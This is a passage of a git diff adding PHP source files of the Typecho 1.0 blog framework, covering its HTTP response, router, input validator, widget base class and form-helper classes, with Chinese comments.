g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i',substr($userAgent,0,4)); + } + + /** + * 判断输入是否满足要求 + * + * @access public + * @param mixed $query 条件 + * @return boolean + */ + public function is($query) + { + $validated = false; + + /** 解析串 */ + if (is_string($query)) { + parse_str($query, $params); + } else if (is_array($query)) { + $params = $query; + } + + /** 验证串 */ + if ($params) { + $validated = true; + foreach ($params as $key => $val) { + $validated = empty($val) ? $this->__isset($key) : ($val == $this->get($key)); + + if (!$validated) { + break; + } + } + } + + return $validated; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Response.php b/Typecho/1.0/php-fpm/src/var/Typecho/Response.php new file mode 100755 index 000000000..d84ec613b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Response.php @@ -0,0 +1,299 @@ + 'Continue', + 101 => 'Switching Protocols', + 200 => 'OK', + 201 => 'Created', + 202 => 'Accepted', + 203 => 'Non-Authoritative Information', + 204 => 'No Content', + 205 => 'Reset Content', + 206 => 'Partial Content', + 300 => 'Multiple Choices', + 301 => 'Moved Permanently', + 302 => 'Found', + 303 => 'See Other', + 304 => 'Not Modified', + 305 => 'Use Proxy', + 307 => 'Temporary Redirect', + 400 => 'Bad Request', + 401 => 'Unauthorized', + 402 => 'Payment Required', + 403 => 'Forbidden', + 404 => 'Not Found', + 405 => 'Method Not Allowed', + 406 => 'Not Acceptable', + 407 => 'Proxy Authentication Required', + 408 => 'Request Timeout', + 409 => 'Conflict', + 410 => 'Gone', + 411 => 'Length Required', + 412 => 'Precondition Failed', + 413 => 'Request Entity Too Large', + 414 => 'Request-URI Too Long', + 415 => 'Unsupported Media Type', + 416 => 'Requested Range Not Satisfiable', + 417 => 'Expectation Failed', + 500 => 'Internal Server Error', + 501 => 'Not Implemented', + 502 => 'Bad Gateway', + 503 => 'Service Unavailable', + 504 => 'Gateway Timeout', + 505 => 'HTTP Version Not Supported' + ); + + /** + * 字符编码 + * + * @var mixed + * @access private + */ + private $_charset; + + //默认的字符编码 + const CHARSET = 'UTF-8'; + + /** + * 单例句柄 + * + * @access private + * @var Typecho_Response + */ + private static $_instance = null; + + /** + * 获取单例句柄 + * + * @access public + * @return Typecho_Response + */ + public static function getInstance() + { + if (null === self::$_instance) { + self::$_instance = new Typecho_Response(); + } + + return self::$_instance; + } + + /** + * 解析ajax回执的内部函数 + * + * @access private + * @param mixed $message 格式化数据 + * @return string + */ + private function _parseXml($message) + { + /** 对于数组型则继续递归 */ + if (is_array($message)) { + $result = ''; + + foreach ($message as $key => $val) { + $tagName = is_int($key) ? 'item' : $key; + $result .= '<' . $tagName . '>' . $this->_parseXml($val) . ''; + } + + return $result; + } else { + return preg_match("/^[^<>]+$/is", $message) ? $message : ''; + } + } + + /** + * 设置默认回执编码 + * + * @access public + * @param string $charset 字符集 + * @return void + */ + public function setCharset($charset = null) + { + $this->_charset = empty($charset) ? self::CHARSET : $charset; + } + + /** + * 获取字符集 + * + * @access public + * @return string + */ + public function getCharset() + { + if (empty($this->_charset)) { + $this->setCharset(); + } + + return $this->_charset; + } + + /** + * 在http头部请求中声明类型和字符集 + * + * @access public + * @param string $contentType 文档类型 + * @return void + */ + public function setContentType($contentType = 'text/html') + { + header('Content-Type: ' . $contentType . '; charset=' . $this->getCharset(), true); + } + + /** + * 设置http头 + * + * @access public + * @param string $name 名称 + * @param string $value 对应值 + * @return void + */ + public function setHeader($name, $value) + { + header($name . ': ' . $value, true); + } + + /** + * 设置HTTP状态 + * + * @access public + * @param integer $code http代码 + * @return void + */ + public static function setStatus($code) + { + if (isset(self::$_httpCode[$code])) { + header((isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.1') . ' ' . $code . ' ' . self::$_httpCode[$code], true, $code); + } + } + + /** + * 抛出ajax的回执信息 + * + * @access public + * @param string $message 消息体 + * @return void + */ + public function throwXml($message) + { + /** 设置http头信息 */ + $this->setContentType('text/xml'); + + /** 构建消息体 */ + echo 'getCharset() . '"?>', + '', + $this->_parseXml($message), + ''; + + /** 终止后续输出 */ + exit; + } + + /** + * 抛出json回执信息 + * + * @access public + * @param string $message 消息体 + * @return void + */ + public function throwJson($message) + { + /** 设置http头信息 */ + $this->setContentType('application/json'); + + echo Json::encode($message); + + /** 终止后续输出 */ + exit; + } + + /** + * 重定向函数 + * + * @access public + * @param string $location 重定向路径 + * @param boolean $isPermanently 是否为永久重定向 + * @return void + */ + public function redirect($location, $isPermanently = false) + { + /** Typecho_Common */ + $location = Typecho_Common::safeUrl($location); + + if ($isPermanently) { + header('Location: ' . $location, false, 301); + exit; + } else { + header('Location: ' . $location, false, 302); + exit; + } + } + + /** + * 返回来路 + * + * @access public + * @param string $suffix 附加地址 + * @param string $default 默认来路 + */ + public function goBack($suffix = NULL, $default = NULL) + { + //获取来源 + $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; + + //判断来源 + if (!empty($referer)) { + // ~ fix Issue 38 + if (!empty($suffix)) { + $parts = parse_url($referer); + $myParts = parse_url($suffix); + + if (isset($myParts['fragment'])) { + $parts['fragment'] = $myParts['fragment']; + } + + if (isset($myParts['query'])) { + $args = array(); + if (isset($parts['query'])) { + parse_str($parts['query'], $args); + } + + parse_str($myParts['query'], $currentArgs); + $args = array_merge($args, $currentArgs); + $parts['query'] = http_build_query($args); + } + + $referer = Typecho_Common::buildUrl($parts); + } + + $this->redirect($referer, false); + } else if (!empty($default)) { + $this->redirect($default); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Router.php b/Typecho/1.0/php-fpm/src/var/Typecho/Router.php new file mode 100755 index 000000000..483ee820e --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Router.php @@ -0,0 +1,209 @@ + $route) { + if (preg_match($route['regx'], $pathInfo, $matches)) { + self::$current = $key; + + try { + /** 载入参数 */ + $params = NULL; + + if (!empty($route['params'])) { + unset($matches[0]); + $params = array_combine($route['params'], $matches); + } + + $widget = Typecho_Widget::widget($route['widget'], $parameter, $params); + + return $widget; + + } catch (Exception $e) { + if (404 == $e->getCode()) { + Typecho_Widget::destory($route['widget']); + continue; + } + + throw $e; + } + } + } + + return false; + } + + /** + * 设置全路径 + * + * @access public + * @param string $pathInfo + * @return void + */ + public static function setPathInfo($pathInfo = '/') + { + self::$_pathInfo = $pathInfo; + } + + /** + * 获取全路径 + * + * @access public + * @return string + */ + public static function getPathInfo() + { + if (NULL === self::$_pathInfo) { + self::setPathInfo(); + } + + return self::$_pathInfo; + } + + /** + * 路由分发函数 + * + * @param string $path 目的文件所在目录 + * @return void + * @throws Typecho_Route_Exception + */ + public static function dispatch() + { + /** 获取PATHINFO */ + $pathInfo = self::getPathInfo(); + + foreach (self::$_routingTable as $key => $route) { + if (preg_match($route['regx'], $pathInfo, $matches)) { + self::$current = $key; + + try { + /** 载入参数 */ + $params = NULL; + + if (!empty($route['params'])) { + unset($matches[0]); + $params = array_combine($route['params'], $matches); + } + + $widget = Typecho_Widget::widget($route['widget'], NULL, $params); + + if (isset($route['action'])) { + $widget->{$route['action']}(); + } + + return; + + } catch (Exception $e) { + if (404 == $e->getCode()) { + Typecho_Widget::destory($route['widget']); + continue; + } + + throw $e; + } + } + } + + /** 载入路由异常支持 */ + throw new Typecho_Router_Exception("Path '{$pathInfo}' not found", 404); + } + + /** + * 路由反解析函数 + * + * @param string $name 路由配置表名称 + * @param string $value 路由填充值 + * @param string $prefix 最终合成路径的前缀 + * @return string + */ + public static function url($name, array $value = NULL, $prefix = NULL) + { + $route = self::$_routingTable[$name]; + + //交换数组键值 + $pattern = array(); + foreach ($route['params'] as $row) { + $pattern[$row] = isset($value[$row]) ? $value[$row] : '{' . $row . '}'; + } + + return Typecho_Common::url(vsprintf($route['format'], $pattern), $prefix); + } + + /** + * 设置路由器默认配置 + * + * @access public + * @param mixed $routes 配置信息 + * @return void + */ + public static function setRoutes($routes) + { + if (isset($routes[0])) { + self::$_routingTable = $routes[0]; + } else { + /** 解析路由配置 */ + $parser = new Typecho_Router_Parser($routes); + self::$_routingTable = $parser->parse(); + } + } + + /** + * 获取路由信息 + * + * @param string $routeName 路由名称 + * @static + * @access public + * @return void + */ + public static function get($routeName) + { + return isset(self::$_routingTable[$routeName]) ? self::$_routingTable[$routeName] : NULL; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Router/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Router/Exception.php new file mode 100755 index 000000000..ebd76adbf --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Router/Exception.php @@ -0,0 +1,17 @@ +_routingTable = $routingTable; + + $this->_defaultRegx = array( + 'string' => '(.%s)', + 'char' => '([^/]%s)', + 'digital'=> '([0-9]%s)', + 'alpha' => '([_0-9a-zA-Z-]%s)', + 'alphaslash' => '([_0-9a-zA-Z-/]%s)', + 'split' => '((?:[^/]+/)%s[^/]+)', + ); + } + + /** + * 局部匹配并替换正则字符串 + * + * @access public + * @param array $matches 匹配部分 + * @return string + */ + public function _match(array $matches) + { + $params = explode(' ', $matches[1]); + $paramsNum = count($params); + $this->_params[] = $params[0]; + + if (1 == $paramsNum) { + return sprintf($this->_defaultRegx['char'], '+'); + } else if (2 == $paramsNum) { + return sprintf($this->_defaultRegx[$params[1]], '+'); + } else if (3 == $paramsNum) { + return sprintf($this->_defaultRegx[$params[1]], $params[2] > 0 ? '{' . $params[2] . '}' : '*'); + } else if (4 == $paramsNum) { + return sprintf($this->_defaultRegx[$params[1]], '{' . $params[2] . ',' . $params[3] . '}'); + } + } + + /** + * 解析路由表 + * + * @access public + * @return array + */ + public function parse() + { + $result = array(); + + foreach ($this->_routingTable as $key => $route) { + $this->_params = array(); + $route['regx'] = preg_replace_callback("/%([^%]+)%/", array($this, '_match'), + preg_quote(str_replace(array('[', ']', ':'), array('%', '%', ' '), $route['url']))); + + /** 处理斜线 */ + $route['regx'] = rtrim($route['regx'], '/'); + $route['regx'] = '|^' . $route['regx'] . '[/]?$|'; + + $route['format'] = preg_replace("/\[([^\]]+)\]/", "%s", $route['url']); + $route['params'] = $this->_params; + + $result[$key] = $route; + } + + return $result; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Validate.php b/Typecho/1.0/php-fpm/src/var/Typecho/Validate.php new file mode 100755 index 000000000..e8620ffed --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Validate.php @@ -0,0 +1,320 @@ + + * $test = "hello"; + * $Validation = new TypechoValidation(); + * $Validation->form($test, array("alpha" => "不是字符"); + * var_dump($Validation->getErrorMsg()); + *
    + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id: Validation.php 106 2008-04-11 02:23:54Z magike.net $ + */ + +/** + * 验证类 + * + * @package Validate + */ +class Typecho_Validate +{ + /** + * 内部数据 + * + * @access private + * @var array + */ + private $_data; + + /** + * 当前验证指针 + * + * @access private + * @var string + */ + private $_key; + + /** + * 验证规则数组 + * + * @access private + * @var array + */ + private $_rules = array(); + + /** + * 中断模式,一旦出现验证错误即抛出而不再继续执行 + * + * @access private + * @var boolean + */ + private $_break = false; + + /** + * 增加验证规则 + * + * @access public + * @param string $key 数值键值 + * @param string $rule 规则名称 + * @param string $message 错误字符串 + * @return Typecho_Validation + */ + public function addRule($key, $rule, $message) + { + if (func_num_args() <= 3) { + $this->_rules[$key][] = array($rule, $message); + } else { + $params = func_get_args(); + $params = array_splice($params, 3); + $this->_rules[$key][] = array_merge(array($rule, $message), $params); + } + + return $this; + } + + /** + * 设置为中断模式 + * + * @access public + * @return void + */ + public function setBreak() + { + $this->_break = true; + } + + /** + * Run the Validator + * This function does all the work. + * + * @access public + * @param array $data 需要验证的数据 + * @param array $rules 验证数据遵循的规则 + * @return array + * @throws Typecho_Validate_Exception + */ + public function run(array $data, $rules = NULL) + { + $result = array(); + $this->_data = $data; + $rules = empty($rules) ? $this->_rules : $rules; + + // Cycle through the rules and test for errors + foreach ($rules as $key => $rules) { + $this->_key = $key; + $data[$key] = (is_array($data[$key]) ? 0 == count($data[$key]) + : 0 == strlen($data[$key])) ? NULL : $data[$key]; + + foreach ($rules as $params) { + $method = $params[0]; + + if ('required' != $method && 'confirm' != $method && 0 == strlen($data[$key])) { + continue; + } + + $message = $params[1]; + $params[1] = $data[$key]; + $params = array_slice($params, 1); + + if (!call_user_func_array(is_array($method) ? $method : array($this, $method), $params)) { + $result[$key] = $message; + break; + } + } + + /** 开启中断 */ + if ($this->_break && $result) { + break; + } + } + + return $result; + } + + /** + * 最小长度 + * + * @access public + * @param string $str 待处理的字符串 + * @param integer $length 最小长度 + * @return boolean + */ + public static function minLength($str, $length) + { + return (Typecho_Common::strLen($str) >= $length); + } + + /** + * 验证输入是否一致 + * + * @access public + * @param string $str 待处理的字符串 + * @param string $key 需要一致性检查的键值 + * @return boolean + */ + public function confirm($str, $key) + { + return !empty($this->_data[$key]) ? ($str == $this->_data[$key]) : empty($str); + } + + /** + * 是否为空 + * + * @access public + * @param string $str 待处理的字符串 + * @return boolean + */ + public function required($str) + { + return !empty($this->_data[$this->_key]); + } + + /** + * 枚举类型判断 + * + * @access public + * @param string $str 待处理的字符串 + * @param array $params 枚举值 + * @return unknown + */ + public static function enum($str, array $params) + { + $keys = array_flip($params); + return isset($keys[$str]); + } + + /** + * Max Length + * + * @param $str + * @param $length + * @return bool + */ + public static function maxLength($str, $length) + { + return (Typecho_Common::strLen($str) < $length); + } + + /** + * Valid Email + * + * @access public + * @param string + * @return boolean + */ + public static function email($str) + { + return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str); + } + + /** + * 验证是否为网址 + * + * @access public + * @param string $str + * @return boolean + */ + public static function url($str) + { + $parts = @parse_url($str); + if (!$parts) { + return false; + } + + return isset($parts['scheme']) && + in_array($parts['scheme'], array('http', 'https', 'ftp')) && + !preg_match('/(\(|\)|\\\|"|<|>|[\x00-\x08]|[\x0b-\x0c]|[\x0e-\x19])/', $str); + } + + /** + * Alpha + * + * @access public + * @param string + * @return boolean + */ + public static function alpha($str) + { + return preg_match("/^([a-z])+$/i", $str) ? true : false; + } + + /** + * Alpha-numeric + * + * @access public + * @param string + * @return boolean + */ + public static function alphaNumeric($str) + { + return preg_match("/^([a-z0-9])+$/i", $str); + } + + /** + * Alpha-numeric with underscores and dashes + * + * @access public + * @param string + * @return boolean + */ + public static function alphaDash($str) + { + return preg_match("/^([_a-z0-9-])+$/i", $str) ? true : false; + } + + /** + * 对xss字符串的检测 + * + * @access public + * @param string $str + * @return boolean + */ + public static function xssCheck($str) + { + $search = 'abcdefghijklmnopqrstuvwxyz'; + $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; + $search .= '1234567890!@#$%^&*()'; + $search .= '~`";:?+/={}[]-_|\'\\'; + + for ($i = 0; $i < strlen($search); $i++) { + // ;? matches the ;, which is optional + // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars + + // @ @ search for the hex values + $str = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $str); // with a ; + // @ @ 0{0,7} matches '0' zero to seven times + $str = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $str); // with a ; + } + + return !preg_match('/(\(|\)|\\\|"|<|>|[\x00-\x08]|[\x0b-\x0c]|[\x0e-\x19]|' . "\r|\n|\t" . ')/', $str); + } + + /** + * Numeric + * + * @access public + * @param integer + * @return boolean + */ + public static function isFloat($str) + { + return preg_match("/^[0-9\.]+$/", $str); + } + + /** + * Is Numeric + * + * @access public + * @param string + * @return boolean + */ + public static function isInteger($str) + { + return is_numeric($str); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget.php new file mode 100755 index 000000000..9f45cdbfb --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget.php @@ -0,0 +1,420 @@ +request = $request; + $this->response = $response; + $this->parameter = new Typecho_Config(); + + if (!empty($params)) { + $this->parameter->setDefault($params); + } + } + + /** + * 解析回调 + * + * @param array $matches + * @access protected + * @return string + */ + protected function __parseCallback($matches) + { + return $this->{$matches[1]}; + } + + /** + * execute function. + * + * @access public + * @return void + */ + public function execute(){} + + /** + * post事件触发 + * + * @param boolean $condition 触发条件 + * @return mixed + */ + public function on($condition) + { + if ($condition) { + return $this; + } else { + return new Typecho_Widget_Helper_Empty(); + } + } + + /** + * 获取对象插件句柄 + * + * @access public + * @param string $handle 句柄 + * @return Typecho_Plugin + */ + public function pluginHandle($handle = NULL) + { + return Typecho_Plugin::factory(empty($handle) ? get_class($this) : $handle); + } + + /** + * widget别名 + * + * @param string $widgetClass + * @param string $aliasClass + * @static + * @access public + * @return void + */ + public static function alias($widgetClass, $aliasClass) + { + self::$_widgetAlias[$widgetClass] = $aliasClass; + } + + /** + * 工厂方法,将类静态化放置到列表中 + * + * @access public + * @param string $alias 组件别名 + * @param mixed $params 传递的参数 + * @param mixed $request 前端参数 + * @param boolean $enableResponse 是否允许http回执 + * @return object + * @throws Typecho_Exception + */ + public static function widget($alias, $params = NULL, $request = NULL, $enableResponse = true) + { + $parts = explode('@', $alias); + $className = $parts[0]; + $alias = empty($parts[1]) ? $className : $parts[1]; + + if (isset(self::$_widgetAlias[$className])) { + $className = self::$_widgetAlias[$className]; + } + + if (!isset(self::$_widgetPool[$alias])) { + /** 如果类不存在 */ + if (!class_exists($className)) { + throw new Typecho_Widget_Exception($className); + } + + /** 初始化request */ + if (!empty($request)) { + $requestObject = new Typecho_Request(); + $requestObject->setParams($request); + } else { + $requestObject = Typecho_Request::getInstance(); + } + + /** 初始化response */ + $responseObject = $enableResponse ? Typecho_Response::getInstance() + : Typecho_Widget_Helper_Empty::getInstance(); + + /** 初始化组件 */ + $widget = new $className($requestObject, $responseObject, $params); + + $widget->execute(); + self::$_widgetPool[$alias] = $widget; + } + + return self::$_widgetPool[$alias]; + } + + /** + * 释放组件 + * + * @access public + * @param string $alias 组件名称 + * @return void + */ + public static function destory($alias) + { + if (isset(self::$_widgetPool[$alias])) { + unset(self::$_widgetPool[$alias]); + } + } + + /** + * 将类本身赋值 + * + * @param string $variable 变量名 + * @return void + */ + public function to(&$variable) + { + return $variable = $this; + } + + /** + * 格式化解析堆栈内的所有数据 + * + * @param string $format 数据格式 + * @return void + */ + public function parse($format) + { + while ($this->next()) { + echo preg_replace_callback("/\{([_a-z0-9]+)\}/i", + array($this, '__parseCallback'), $format); + } + } + + /** + * 将每一行的值压入堆栈 + * + * @param array $value 每一行的值 + * @return array + */ + public function push(array $value) + { + //将行数据按顺序置位 + $this->row = $value; + $this->length ++; + + $this->stack[] = $value; + return $value; + } + + /** + * 根据余数输出 + * + * @access public + * @param string $param 需要输出的值 + * @return void + */ + public function alt() + { + $args = func_get_args(); + $num = func_num_args(); + $split = $this->sequence % $num; + echo $args[(0 == $split ? $num : $split) -1]; + } + + /** + * 输出顺序值 + * + * @access public + * @return void + */ + public function sequence() + { + echo $this->sequence; + } + + /** + * 输出数据长度 + * + * @access public + * @return void + */ + public function length() + { + echo $this->length; + } + + /** + * 返回堆栈是否为空 + * + * @return boolean + */ + public function have() + { + return !empty($this->stack); + } + + /** + * 返回堆栈每一行的值 + * + * @return array + */ + public function next() + { + if ($this->stack) { + $this->row = @$this->stack[key($this->stack)]; + next($this->stack); + $this->sequence ++; + } + + if (!$this->row) { + reset($this->stack); + if ($this->stack) { + $this->row = $this->stack[key($this->stack)]; + } + + $this->sequence = 0; + return false; + } + + return $this->row; + } + + /** + * 魔术函数,用于挂接其它函数 + * + * @access public + * @param string $name 函数名 + * @param array $args 函数参数 + * @return void + */ + public function __call($name, $args) + { + echo $this->{$name}; + } + + /** + * 魔术函数,用于获取内部变量 + * + * @access public + * @param string $name 变量名 + * @return mixed + */ + public function __get($name) + { + if (array_key_exists($name, $this->row)) { + return $this->row[$name]; + } else { + $method = '___' . $name; + + if (method_exists($this, $method)) { + return $this->$method(); + } else { + $return = $this->pluginHandle()->trigger($plugged)->{$method}($this); + if ($plugged) { + return $return; + } + } + } + + return NULL; + } + + /** + * 设定堆栈每一行的值 + * + * @param string $name 值对应的键值 + * @param mixed $value 相应的值 + * @return void + */ + public function __set($name, $value) + { + $this->row[$name] = $value; + } + + /** + * 验证堆栈值是否存在 + * + * @access public + * @param string $name + * @return boolean + */ + public function __isSet($name) + { + return isset($this->row[$name]); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Exception.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Exception.php new file mode 100755 index 000000000..d3587c9b0 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Exception.php @@ -0,0 +1,17 @@ +setClose(false); + + /** 设置表单属性 */ + $this->setAction($action); + $this->setMethod($method); + $this->setEncodeType($enctype); + } + + /** + * 设置表单编码方案 + * + * @access public + * @param string $enctype 编码方法 + * @return Typecho_Widget_Helper_Form + */ + public function setEncodeType($enctype) + { + $this->setAttribute('enctype', $enctype); + return $this; + } + + /** + * 增加输入元素 + * + * @access public + * @param Typecho_Widget_Helper_Form_Abstract $input 输入元素 + * @return Typecho_Widget_Helper_Form + */ + public function addInput(Typecho_Widget_Helper_Form_Element $input) + { + $this->_inputs[$input->name] = $input; + $this->addItem($input); + return $this; + } + + /** + * 增加元素(重载) + * + * @access public + * @param Typecho_Widget_Helper_Layout $item 表单元素 + * @return Typecho_Widget_Helper_Layout + */ + public function addItem(Typecho_Widget_Helper_Layout $item) + { + if ($item instanceof Typecho_Widget_Helper_Form_Submit) { + $this->addItem($item); + } else { + parent::addItem($item); + } + + return $this; + } + + /** + * 获取输入项 + * + * @access public + * @param string $name 输入项名称 + * @return mixed + */ + public function getInput($name) + { + return $this->_inputs[$name]; + } + + /** + * 获取所有输入项的提交值 + * + * @access public + * @return array + */ + public function getAllRequest() + { + $result = array(); + $source = (self::POST_METHOD == $this->getAttribute('method')) ? $_POST : $_GET; + + foreach ($this->_inputs as $name => $input) { + $result[$name] = isset($source[$name]) ? $source[$name] : NULL; + } + return $result; + } + + /** + * 设置表单提交方法 + * + * @access public + * @param string $method 表单提交方法 + * @return Typecho_Widget_Helper_Form + */ + public function setMethod($method) + { + $this->setAttribute('method', $method); + return $this; + } + + /** + * 设置表单提交目的 + * + * @access public + * @param string $action 表单提交目的 + * @return Typecho_Widget_Helper_Form + */ + public function setAction($action) + { + $this->setAttribute('action', $action); + return $this; + } + + /** + * 获取此表单的所有输入项固有值 + * + * @access public + * @return array + */ + public function getValues() + { + $values = array(); + + foreach ($this->_inputs as $name => $input) { + $values[$name] = $input->value; + } + return $values; + } + + /** + * 获取此表单的所有输入项 + * + * @access public + * @return array + */ + public function getInputs() + { + return $this->_inputs; + } + + /** + * 获取提交数据源 + * + * @access public + * @param array $params 数据参数集 + * @return array + */ + public function getParams(array $params) + { + $result = array(); + $source = (self::POST_METHOD == $this->getAttribute('method')) ? $_POST : $_GET; + + foreach ($params as $param) { + $result[$param] = isset($source[$param]) ? $source[$param] : NULL; + } + + return $result; + } + + /** + * 验证表单 + * + * @access public + * @return void + */ + public function validate() + { + $validator = new Typecho_Validate(); + $rules = array(); + + foreach ($this->_inputs as $name => $input) { + $rules[$name] = $input->rules; + } + + $id = md5(implode('"', array_keys($this->_inputs))); + + /** 表单值 */ + $formData = $this->getParams(array_keys($rules)); + $error = $validator->run($formData, $rules); + + if ($error) { + /** 利用session记录错误 */ + $_SESSION['__typecho_form_message_' . $id] = $error; + + /** 利用session记录表单值 */ + $_SESSION['__typecho_form_record_' . $id] = $formData; + } + + return $error; + } + + /** + * 显示表单 + * + * @access public + * @return void + */ + public function render() + { + $id = md5(implode('"', array_keys($this->_inputs))); + + /** 恢复表单值 */ + if (isset($_SESSION['__typecho_form_record_' . $id])) { + $record = $_SESSION['__typecho_form_record_' . $id]; + $message = $_SESSION['__typecho_form_message_' . $id]; + foreach ($this->_inputs as $name => $input) { + $input->value(isset($record[$name]) ? $record[$name] : $input->value); + + /** 显示错误消息 */ + if (isset($message[$name])) { + $input->message($message[$name]); + } + } + + unset($_SESSION['__typecho_form_record_' . $id]); + } + + parent::render(); + unset($_SESSION['__typecho_form_message_' . $id]); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element.php new file mode 100755 index 000000000..f4807e856 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element.php @@ -0,0 +1,322 @@ + 'typecho-option', 'id' => 'typecho-option-item-' . $name . '-' . self::$uniqueId)); + $this->name = $name; + self::$uniqueId ++; + + /** 运行自定义初始函数 */ + $this->init(); + + /** 初始化表单标题 */ + if (NULL !== $label) { + $this->label($label); + } + + /** 初始化表单项 */ + $this->input = $this->input($name, $options); + + /** 初始化表单值 */ + if (NULL !== $value) { + $this->value($value); + } + + /** 初始化表单描述 */ + if (NULL !== $description) { + $this->description($description); + } + } + + /** + * filterValue + * + * @param mixed $value + * @access protected + * @return string + */ + protected function filterValue($value) + { + if (preg_match_all('/[_0-9a-z-]+/i', $value, $matches)) { + return implode('-', $matches[0]); + } + + return ''; + } + + /** + * 自定义初始函数 + * + * @access public + * @return void + */ + public function init(){} + + /** + * 创建表单标题 + * + * @access public + * @param string $value 标题字符串 + * @return Typecho_Widget_Helper_Form_Element + */ + public function label($value) + { + /** 创建标题元素 */ + if (empty($this->label)) { + $this->label = new Typecho_Widget_Helper_Layout('label', array('class' => 'typecho-label')); + $this->container($this->label); + } + + $this->label->html($value); + return $this; + } + + /** + * 在容器里增加元素 + * + * @access public + * @param Typecho_Widget_Helper_Layout $item 表单元素 + * @return $this + */ + public function container(Typecho_Widget_Helper_Layout $item) + { + /** 创建表单容器 */ + if (empty($this->container)) { + $this->container = new Typecho_Widget_Helper_Layout('li'); + $this->addItem($this->container); + } + + $this->container->addItem($item); + return $this; + } + + /** + * 设置提示信息 + * + * @access public + * @param string $message 提示信息 + * @return Typecho_Widget_Helper_Form_Element + */ + public function message($message) + { + if (empty($this->message)) { + $this->message = new Typecho_Widget_Helper_Layout('p', array('class' => 'message error')); + $this->container($this->message); + } + + $this->message->html($message); + return $this; + } + + /** + * 设置描述信息 + * + * @access public + * @param string $description 描述信息 + * @return Typecho_Widget_Helper_Form_Element + */ + public function description($description) + { + /** 创建描述元素 */ + if (empty($this->description)) { + $this->description = new Typecho_Widget_Helper_Layout('p', array('class' => 'description')); + $this->container($this->description); + } + + $this->description->html($description); + return $this; + } + + /** + * 设置表单元素值 + * + * @access public + * @param mixed $value 表单元素值 + * @return Typecho_Widget_Helper_Form_Element + */ + public function value($value) + { + $this->value = $value; + $this->_value($value); + return $this; + } + + /** + * 多行输出模式 + * + * @access public + * @return Typecho_Widget_Helper_Layout + */ + public function multiline() + { + $item = new Typecho_Widget_Helper_Layout('span'); + $this->multiline[] = $item; + return $item; + } + + /** + * 多行输出模式 + * + * @access public + * @return Typecho_Widget_Helper_Form_Element + */ + public function multiMode() + { + foreach ($this->multiline as $item) { + $item->setAttribute('class', 'multiline'); + } + return $this; + } + + /** + * 初始化当前输入项 + * + * @access public + * @param Typecho_Widget_Helper_Layout $container 容器对象 + * @param string $name 表单元素名称 + * @param array $options 选择项 + * @return Typecho_Widget_Helper_Form_Element + */ + abstract public function input($name = NULL, array $options = NULL); + + /** + * 设置表单元素值 + * + * @access protected + * @param mixed $value 表单元素值 + * @return void + */ + abstract protected function _value($value); + + /** + * 增加验证器 + * + * @access public + * @return Typecho_Widget_Helper_Form_Element + */ + public function addRule($name) + { + $this->rules[] = func_get_args(); + return $this; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Checkbox.php b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Checkbox.php new file mode 100755 index 000000000..8ae5265af --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Typecho/Widget/Helper/Form/Element/Checkbox.php @@ -0,0 +1,81 @@ + $label) 